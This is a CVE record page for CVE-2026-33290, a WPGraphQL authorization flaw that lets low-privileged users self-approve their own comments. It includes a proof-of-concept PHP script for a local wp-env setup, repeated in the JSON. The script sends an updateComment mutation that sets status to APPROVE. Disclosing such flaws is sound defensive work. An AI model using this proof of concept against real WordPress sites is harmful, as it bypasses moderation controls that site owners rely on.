CVE-2026-33290 (GCVE-0-2026-33290)
Vulnerability from cvelistv5
Published
2026-03-23 23:58
Modified
2026-03-24 18:38
CWE
Summary
WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch. ### Details In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based: - plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH). This means a non-moderator owner can submit status during update and transition moderation state. ### PoC Tested in local wp-env (Docker) with WPGraphQL 2.9.1. 1. Start environment: npm install npm run wp-env start 2. Run this PoC: ``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]); $user_id = username_exists("poc_nocaps"); if ( ! $user_id ) { $user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps"); $post_id = wp_insert_post([ "post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]); $comment_id = wp_insert_comment([ "comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]); wp_set_current_user($user_id); $result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$comment_id ], ]); echo wp_json_encode([ "role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ``` 3. Observe result: - role_caps is empty (or no moderate_comments) - mutation returns status: APPROVE - DB value becomes comment_approved = 1 ### Impact This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.
Impacted products
Vendor Product Version
wp-graphql wp-graphql Version: < 2.10.0
Create a notification for this product.
Show details on NVD website


{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-33290",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-24T18:38:22.291114Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-24T18:38:29.166Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "wp-graphql",
          "vendor": "wp-graphql",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.10.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.\n\n### Details\n\nIn WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:\n\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.\n- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.\n- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).\n\nThis means a non-moderator owner can submit status during update and transition moderation state.\n\n### PoC\n\nTested in local wp-env (Docker) with WPGraphQL 2.9.1.\n\n1. Start environment:\n\n  npm install\n  npm run wp-env start\n\n2. Run this PoC:\n\n```\n  npm run wp-env run cli -- wp eval \u0027\n  add_role(\"no_caps\",\"No Caps\",[]);\n  $user_id = username_exists(\"poc_nocaps\");\n  if ( ! $user_id ) {\n    $user_id = wp_create_user(\"poc_nocaps\",\"Passw0rd!\",\"poc_nocaps@example.com\");\n  }\n  $user = get_user_by(\"id\",$user_id);\n  $user-\u003eset_role(\"no_caps\");\n\n  $post_id = wp_insert_post([\n    \"post_title\" =\u003e \"PoC post\",\n    \"post_status\" =\u003e \"publish\",\n    \"post_type\" =\u003e \"post\",\n    \"comment_status\" =\u003e \"open\",\n  ]);\n\n  $comment_id = wp_insert_comment([\n    \"comment_post_ID\" =\u003e $post_id,\n    \"comment_content\" =\u003e \"pending comment\",\n    \"user_id\" =\u003e $user_id,\n    \"comment_author\" =\u003e $user-\u003edisplay_name,\n    \"comment_author_email\" =\u003e $user-\u003euser_email,\n    \"comment_approved\" =\u003e \"0\",\n  ]);\n\n  wp_set_current_user($user_id);\n\n  $result = graphql([\n    \"query\" =\u003e \"mutation U(\\$id:ID!){ updateComment(input:{id:\\$id,status:APPROVE}){ success comment{ databaseId status } } }\",\n    \"variables\" =\u003e [ \"id\" =\u003e (string)$comment_id ],\n  ]);\n\n  echo wp_json_encode([\n    \"role_caps\" =\u003e array_keys(array_filter((array)$user-\u003eallcaps)),\n    \"status\" =\u003e $result[\"data\"][\"updateComment\"][\"comment\"][\"status\"] ?? null,\n    \"db_comment_approved\" =\u003e get_comment($comment_id)-\u003ecomment_approved ?? null,\n    \"comment_id\" =\u003e $comment_id\n  ]);\n  \u0027\n```\n\n3. Observe result:\n\n- role_caps is empty (or no moderate_comments)\n- mutation returns status: APPROVE\n- DB value becomes comment_approved = 1\n\n### Impact\n\nThis is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-23T23:58:57.345Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/wp-graphql/wp-graphql/security/advisories/GHSA-9hc3-mh5h-4fgh",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/wp-graphql/wp-graphql/security/advisories/GHSA-9hc3-mh5h-4fgh"
        },
        {
          "name": "https://github.com/wp-graphql/wp-graphql/releases/tag/wp-graphql%2Fv2.10.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/wp-graphql/wp-graphql/releases/tag/wp-graphql%2Fv2.10.0"
        }
      ],
      "source": {
        "advisory": "GHSA-9hc3-mh5h-4fgh",
        "discovery": "UNKNOWN"
      },
      "title": "WPGraphQL Repo\u0027s updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-33290",
    "datePublished": "2026-03-23T23:58:57.345Z",
    "dateReserved": "2026-03-18T18:55:47.426Z",
    "dateUpdated": "2026-03-24T18:38:29.166Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-33290\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-03-24T18:38:22.291114Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-03-24T18:38:26.301Z\"}}], \"cna\": {\"title\": \"WPGraphQL Repo\u0027s updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission\", \"source\": {\"advisory\": \"GHSA-9hc3-mh5h-4fgh\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 4.3, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N\", \"integrityImpact\": \"LOW\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"wp-graphql\", \"product\": \"wp-graphql\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 2.10.0\"}]}], \"references\": [{\"url\": \"https://github.com/wp-graphql/wp-graphql/security/advisories/GHSA-9hc3-mh5h-4fgh\", \"name\": \"https://github.com/wp-graphql/wp-graphql/security/advisories/GHSA-9hc3-mh5h-4fgh\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/wp-graphql/wp-graphql/releases/tag/wp-graphql%2Fv2.10.0\", \"name\": \"https://github.com/wp-graphql/wp-graphql/releases/tag/wp-graphql%2Fv2.10.0\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.\\n\\n### Details\\n\\nIn WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:\\n\\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.\\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.\\n- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.\\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.\\n- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).\\n\\nThis means a non-moderator owner can submit status during update and transition moderation state.\\n\\n### PoC\\n\\nTested in local wp-env (Docker) with WPGraphQL 2.9.1.\\n\\n1. Start environment:\\n\\n  npm install\\n  npm run wp-env start\\n\\n2. Run this PoC:\\n\\n```\\n  npm run wp-env run cli -- wp eval \u0027\\n  add_role(\\\"no_caps\\\",\\\"No Caps\\\",[]);\\n  $user_id = username_exists(\\\"poc_nocaps\\\");\\n  if ( ! $user_id ) {\\n    $user_id = wp_create_user(\\\"poc_nocaps\\\",\\\"Passw0rd!\\\",\\\"poc_nocaps@example.com\\\");\\n  }\\n  $user = get_user_by(\\\"id\\\",$user_id);\\n  $user-\u003eset_role(\\\"no_caps\\\");\\n\\n  $post_id = wp_insert_post([\\n    \\\"post_title\\\" =\u003e \\\"PoC post\\\",\\n    \\\"post_status\\\" =\u003e \\\"publish\\\",\\n    \\\"post_type\\\" =\u003e \\\"post\\\",\\n    \\\"comment_status\\\" =\u003e \\\"open\\\",\\n  ]);\\n\\n  $comment_id = wp_insert_comment([\\n    \\\"comment_post_ID\\\" =\u003e $post_id,\\n    \\\"comment_content\\\" =\u003e \\\"pending comment\\\",\\n    \\\"user_id\\\" =\u003e $user_id,\\n    \\\"comment_author\\\" =\u003e $user-\u003edisplay_name,\\n    \\\"comment_author_email\\\" =\u003e $user-\u003euser_email,\\n    \\\"comment_approved\\\" =\u003e \\\"0\\\",\\n  ]);\\n\\n  wp_set_current_user($user_id);\\n\\n  $result = graphql([\\n    \\\"query\\\" =\u003e \\\"mutation U(\\\\$id:ID!){ updateComment(input:{id:\\\\$id,status:APPROVE}){ success comment{ databaseId status } } }\\\",\\n    \\\"variables\\\" =\u003e [ \\\"id\\\" =\u003e (string)$comment_id ],\\n  ]);\\n\\n  echo wp_json_encode([\\n    \\\"role_caps\\\" =\u003e array_keys(array_filter((array)$user-\u003eallcaps)),\\n    \\\"status\\\" =\u003e $result[\\\"data\\\"][\\\"updateComment\\\"][\\\"comment\\\"][\\\"status\\\"] ?? null,\\n    \\\"db_comment_approved\\\" =\u003e get_comment($comment_id)-\u003ecomment_approved ?? null,\\n    \\\"comment_id\\\" =\u003e $comment_id\\n  ]);\\n  \u0027\\n```\\n\\n3. Observe result:\\n\\n- role_caps is empty (or no moderate_comments)\\n- mutation returns status: APPROVE\\n- DB value becomes comment_approved = 1\\n\\n### Impact\\n\\nThis is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-862\", \"description\": \"CWE-862: Missing Authorization\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-03-23T23:58:57.345Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-33290\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-03-24T18:38:29.166Z\", \"dateReserved\": \"2026-03-18T18:55:47.426Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-03-23T23:58:57.345Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…